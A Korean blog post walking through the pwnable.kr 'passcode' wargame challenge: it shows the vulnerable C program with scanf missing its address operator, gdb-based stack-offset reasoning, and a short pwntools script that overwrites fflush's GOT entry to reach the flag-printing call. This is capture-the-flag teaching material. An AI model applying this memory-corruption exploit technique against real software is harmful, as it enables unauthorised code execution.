Pwnstar

Pwnable.kr passcode 본문

Pwnable.kr/Toddler's Bottle

Pwnable.kr passcode

포너블처돌이 2020. 3. 15. 21:02

 

5번째 문제 passcode이다

 

저기로 접속을 하면 

이렇게 파일이 세 개 나온다.

우선 코드를 살펴보자.

 

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 

이름을 100자 이내로 입력할 수 있고, login 함수로 넘어가는데 passcode를 입력 받는 부분이 이상하다.

 

입력을 받을 때, scanf("%d", &passcode1); 이런식으로 입력을 받아야 하는데, &가 빠져있다. 

 

우선 아무 입력이나 받아보았다.

 

 

이렇게 passcode1에 BBBB를 입력했는데 passcode2를 입력받지도 못하고 종료되어 버렸다.

우선 gdb로 열어봐야겠다.

 

이름을 입력 받는 곳에 break point를 걸어놓고 어디에 입력값이 들어가는 지 찾아봤다.

 

이렇게 A를 8개로 입력으로 주었는데 ebp-0x70(112) 부분에 입력을 받고 있었다. 그 다음 passcode1을 입력 받는 곳에 break point를 걸고 분석해보았다.

이 부분을 보면 ebp-0x10에 passcode1의 값이 들어갈 것 같은데 잘 확인이 안된다 그런데 이론상

 

0x70(112)-0x10(16) = 96이니까 이름을 입력받는 부분에 dummy를 96개 넣고 그 다음 4바이트는 passcode로 들어가지 않을까??하는 생각이 들었다.

 

느낌이 대충 got overwrite의 연습같은 느낌인데...passcode2는 ebp-0xc에 위치해있으니 

dummy (96바이트) + 덮어씌울 주소(4바이트) + 덮어쓸 주소(system) 4바이트로 주면 쉘이 따질 것 같다.(passcode2는 정수형이니 system 부분 주소를 정수로 넣어주면 될 것 같다.)

 

자..이제 코드를 짜 보자

.

.

.

from pwn import*

p = process("/home/passcode/passcode")

ff = 0x804a004          #fflush got

payload = "A"*96
payload += p32(ff)

p.sendline(payload)
p.sendline("134514147")

p.interactive()

요렇게 짜고 돌려주면??

 

 

 

'Pwnable.kr > Toddler's Bottle' 카테고리의 다른 글

Pwnable.kr input  (0) 2020.03.15
Pwnable.kr random  (0) 2020.03.15
Pwnable.kr flag  (0) 2020.03.03
Pwnable.kr bof  (0) 2020.03.02
Pwnable.kr collision  (0) 2020.03.02
Comments